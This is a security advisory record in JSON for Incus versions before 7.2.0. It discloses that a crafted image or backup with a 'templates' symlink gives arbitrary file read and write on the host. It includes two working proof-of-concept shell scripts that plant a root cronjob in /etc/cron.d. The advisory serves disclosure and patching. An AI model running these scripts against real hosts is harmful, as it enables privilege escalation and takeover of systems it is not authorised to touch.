{"id":"GHSA-vxp5-584q-c479","summary":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image","details":"### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id\u003e/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup \u003e../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id\u003e/pwned'\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","aliases":["CVE-2026-48752","GO-2026-5803"],"modified":"2026-07-07T20:41:21.542790651Z","published":"2026-06-26T18:46:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-26T18:46:31Z","nvd_published_at":null,"cwe_ids":["CWE-73"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"affected":[{"package":{"name":"github.com/lxc/incus/v7/cmd/incusd","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-vxp5-584q-c479/GHSA-vxp5-584q-c479.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}